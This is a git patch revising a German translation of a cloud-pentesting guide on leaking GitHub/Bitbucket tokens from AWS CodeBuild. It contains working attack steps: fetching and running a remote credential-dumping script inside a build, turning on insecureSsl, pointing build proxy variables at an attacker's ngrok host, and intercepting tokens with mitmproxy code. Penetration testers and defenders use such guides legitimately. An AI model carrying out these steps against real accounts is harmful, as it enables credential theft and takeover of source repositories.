From e3e0744fa55ac3d713e2399d1c8b772cdfa6bf82 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Apr 2026 12:38:54 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation --- .../aws-codebuild-token-leakage.md | 80 +++++++++++-------- 1 file changed, 45 insertions(+), 35 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index c2c5bfb36..1c4202b9a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -2,47 +2,57 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Wiederherstellen konfigurierter Github/Bitbucket Tokens +## Wiederherstellen von Github/Bitbucket konfigurierten Tokens -Prüfe zuerst, ob source credentials konfiguriert sind, die du leaken könntest: +Überprüfe zuerst, ob Quell-Zugangsdaten konfiguriert sind, die du leaken könntest: ```bash aws codebuild list-source-credentials ``` -### Über Docker-Image +### Über RCE im CodeBuild-Job -Wenn Sie feststellen, dass beispielsweise eine Authentifizierung zu Github im Account eingerichtet ist, können Sie diesen **exfiltrate** **access** (**GH token oder OAuth token**) erlangen, indem Sie Codebuild dazu bringen, ein bestimmtes Docker-Image für den Build des Projekts **zu verwenden**. +Von innerhalb eines CodeBuild-Jobs kannst du einen undokumentierten AWS CodeBuild API endpoint aufrufen, der dir die von CodeBuild verwendeten credentials zurückgibt. Das kann genutzt werden, um die credentials zu erhalten, mit denen der CodeBuild-Job eingerichtet wurde, z. B. AWS CodeConnection credentials, OAUTH- oder PAT-credentials. Der CodeBuild-Job muss dafür nicht privileged sein, und es ist zudem schwer, das in logging und monitoring zu entdecken, da CodeBuild diesen endpoint beim startup mehrmals aufruft. -Zu diesem Zweck können Sie ein neues **Codebuild project** erstellen oder die **environment** eines bestehenden ändern, um das **Docker image** festzulegen. +Die Technik wird weiter in [https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/](https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/) erklärt, aber zusammengefasst: um credentials innerhalb des CodeBuild-Jobs zu erhalten, musst du einfach Folgendes ausführen: +``` +python -m pip install botocore boto3 requests +wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py +python ./GetBuildInfo.py +``` +### Über Docker Image -Das Docker-Image, das Sie verwenden können, ist [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Dies ist ein sehr einfaches Docker-Image, das die **env variables `https_proxy`**, **`http_proxy`** und **`SSL_CERT_FILE`** setzt. Damit können Sie den Großteil des Verkehrs des Hosts, der in **`https_proxy`** und **`http_proxy`** angegeben ist, abfangen und dem in **`SSL_CERT_FILE`** angegebenen SSL-Zertifikat vertrauen. +Wenn Sie feststellen, dass eine Authentifizierung zu beispielsweise Github im Account eingerichtet ist, können Sie diesen **access** (**GH token or OAuth token**) **exfiltrate**, indem Sie Codebuild dazu bringen, ein bestimmtes **Docker image** für den Build des Projekts zu verwenden. -1. **Erstellen & Hochladen Ihres eigenen Docker MitM-Images** -- Befolgen Sie die Anweisungen des Repos, um Ihre Proxy-IP-Adresse und Ihr SSL-Zertifikat zu konfigurieren und das Docker-Image zu bauen. -- **DO NOT SET `http_proxy`** um Anfragen an den Metadata-Endpunkt nicht abzufangen. -- Sie können **`ngrok`** verwenden, z.B. `ngrok tcp 4444`, um den Proxy auf Ihren Host zu setzen -- Sobald Sie das Docker-Image gebaut haben, **laden Sie es in ein öffentliches Repo hoch** (Dockerhub, ECR...) -2. **Environment festlegen** -- Erstellen Sie ein **neues Codebuild project** oder **ändern** Sie die Environment eines bestehenden. -- Konfigurieren Sie das Projekt so, dass es das **zuvor erzeugte Docker-Image** verwendet +Zu diesem Zweck können Sie ein neues **Codebuild-Projekt** erstellen oder die **Umgebung** eines bestehenden Projekts ändern, um das **Docker image** festzulegen. + +The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Dies ist ein sehr einfaches Docker image, das die **env variables `https_proxy`**, **`http_proxy`** und **`SSL_CERT_FILE`** setzt. Dadurch können Sie den Großteil des Traffics des Hosts, der in **`https_proxy`** und **`http_proxy`** angegeben ist, abfangen und dem in **`SSL_CERT_FILE`** angegebenen SSL CERT vertrauen. + +1. **Create & Upload your own Docker MitM image** +- Folgen Sie den Anweisungen im Repo, um Ihre Proxy-IP-Adresse und Ihr SSL-Zertifikat zu setzen und das **Docker image** zu bauen. +- **DO NOT SET `http_proxy`**, damit keine Anfragen an den Metadata-Endpoint abgefangen werden. +- Sie können **`ngrok`** verwenden, z. B. `ngrok tcp 4444`, um den Proxy auf Ihren Host zu richten. +- Sobald das Docker image gebaut ist, **lade es in ein öffentliches Repo hoch** (Dockerhub, ECR...) +2. **Set the environment** +- Erstellen Sie ein **neues Codebuild-Projekt** oder **ändern** die Umgebung eines bestehenden Projekts. +- Setzen Sie das Projekt so, dass es das **zuvor erstellte Docker image** verwendet
-3. **MitM-Proxy auf Ihrem Host einrichten** +3. **Konfigurieren Sie den MitM-Proxy auf Ihrem Host** -- Wie im **Github repo** angegeben, können Sie so etwas verwenden wie: +- Wie im **Github repo** angegeben, könnten Sie so etwas verwenden: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] -> Die **mitmproxy-Version war 9.0.1**, es wurde berichtet, dass es mit Version 10 möglicherweise nicht funktioniert. +> Die **mitmproxy-Version war 9.0.1**, es wurde berichtet, dass es mit Version 10 möglicherweise nicht mehr funktioniert. -4. **Build ausführen & Zugangsdaten erfassen** +4. **Führe den Build aus & erfasse die credentials** -- Sie können das Token im **Authorization**-Header sehen: +- Du kannst das Token im **Authorization** Header sehen:
-Das kann auch über die aws cli mit etwas wie dem folgenden Befehl gemacht werden: +Das lässt sich auch mit dem aws cli mit einem Befehl wie dem folgenden durchführen: ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json @@ -73,15 +83,15 @@ aws codebuild start-build --project-name my-project2 ``` ### Über insecureSSL -**Codebuild**-Projekte haben eine Einstellung namens **`insecureSsl`**, die im Web verborgen ist; sie kann nur über die API geändert werden.\ -Wenn diese aktiviert ist, kann Codebuild eine Verbindung zum Repository herstellen, **ohne das von der Plattform bereitgestellte Zertifikat zu prüfen**. +**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\ +Wenn diese aktiviert ist, erlaubt sie **Codebuild**, sich mit dem Repository zu verbinden, **ohne das vom Dienst präsentierte Zertifikat zu prüfen**. -- Zuerst müssen Sie die aktuelle Konfiguration enumerate, z. B. mit: +- Zuerst musst du die aktuelle Konfiguration (enumerate) mit etwas wie: ```bash aws codebuild batch-get-projects --name ``` -- Dann kannst du mit den gesammelten Informationen die Projekteinstellung **`insecureSsl`** auf **`True`** aktualisieren. Das folgende ist ein Beispiel, wie ich ein Projekt aktualisiere, beachte das **`insecureSsl=True`** am Ende (das ist das Einzige, das du an der gesammelten Konfiguration ändern musst). -- Außerdem füge die Umgebungsvariablen **http_proxy** und **https_proxy** hinzu, die auf dein tcp ngrok zeigen, z. B.: +- Dann kannst du mit den gesammelten Informationen die Projekteinstellung **`insecureSsl`** auf **`True`** setzen. Im Folgenden ein Beispiel, wie ich ein Projekt aktualisiere — beachte das **`insecureSsl=True`** am Ende (das ist das Einzige, was du an der gesammelten Konfiguration ändern musst). +- Füge außerdem die Umgebungsvariablen **http_proxy** und **https_proxy** hinzu, die auf deinen tcp ngrok zeigen, zum Beispiel: ```bash aws codebuild update-project --name \ --source '{ @@ -115,7 +125,7 @@ aws codebuild update-project --name \ ] }' ``` -- Dann führe das einfache Beispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) auf dem Port aus, auf den die Proxy-Variablen (http_proxy und https_proxy) zeigen. +- Dann führe das einfache Beispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) auf dem Port aus, auf den die Proxy-Variablen (http_proxy und https_proxy) verweisen. ```python from mitm import MITM, protocol, middleware, crypto @@ -128,24 +138,24 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Schließlich klicke auf **Build the project**, die **credentials** werden im **Klartext** (base64) an den mitm-Port gesendet: +- Schließlich klicke auf **Build the project**, die **credentials** werden im **Klartext** (base64) an den mitm port gesendet:
### ~~Über das HTTP-Protokoll~~ -> [!TIP] > **Diese Schwachstelle wurde von AWS irgendwann in der Woche des 20. Feb of 2023 behoben (ich glaube am Freitag). Daher kann ein Angreifer sie nicht mehr ausnutzen :)** +> [!TIP] > **Diese Vulnerability wurde von AWS irgendwann in der Woche des 20. Feb 2023 behoben (ich glaube am Freitag). Daher kann ein attacker sie nicht mehr ausnutzen :)** -Ein Angreifer mit **elevated permissions** in einem **CodeBuild** könnte das konfigurierte Github/Bitbucket token leak oder, falls die Berechtigungen via **OAuth** konfiguriert wurden, das **temporary OAuth token used to access the code**. +Ein attacker mit **elevated permissions in einem CodeBuild** konnte das konfigurierte Github/Bitbucket token leaken oder — falls die Berechtigungen via OAuth konfiguriert waren — das **temporäre OAuth-Token zum Zugriff auf den Code**. -- Ein Angreifer könnte die Umgebungsvariablen **http_proxy** und **https_proxy** zum CodeBuild-Projekt hinzufügen, die auf seine Maschine zeigen (zum Beispiel `http://5.tcp.eu.ngrok.io:14972`). +- Ein attacker könnte die Umgebungsvariablen **http_proxy** und **https_proxy** zum CodeBuild-Projekt hinzufügen, die auf seine Maschine zeigen (zum Beispiel `http://5.tcp.eu.ngrok.io:14972`).
-- Dann ändere die URL des github-Repo, um HTTP statt HTTPS zu verwenden, zum Beispiel: `http://github.com/carlospolop-forks/TestActions` -- Dann führe das Basisbeispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) auf dem Port aus, auf den die Proxy-Variablen (http_proxy und https_proxy) zeigen +- Dann ändere die URL des Github-Repo so, dass HTTP statt HTTPS verwendet wird, zum Beispiel: `http://github.com/carlospolop-forks/TestActions` +- Dann starte das basic Beispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) auf dem Port, auf den die Proxy-Variablen (http_proxy und https_proxy) zeigen ```python from mitm import MITM, protocol, middleware, crypto @@ -158,16 +168,16 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Klicken Sie anschließend auf **Build starten** oder starten Sie den Build über die Befehlszeile: +- Als Nächstes klicken Sie auf **Projekt bauen** oder starten Sie den Build über die Befehlszeile: ```sh aws codebuild start-build --project-name ``` -- Schließlich werden die **credentials** im **Klartext** (base64) an den mitm-Port gesendet: +- Schließlich werden die **credentials** im Klartext (base64) an den mitm-Port gesendet:
> [!WARNING] -> Nun kann ein attacker das token von seiner Maschine verwenden, alle privileges auflisten und diese leichter (ab)use, als den CodeBuild-Service direkt zu nutzen. +> Nun kann ein attacker das token von seiner Maschine verwenden, alle privileges auflisten und es leichter (ab)use als über die direkte Nutzung des CodeBuild-Service. ## Untrusted PR execution via webhook filter misconfiguration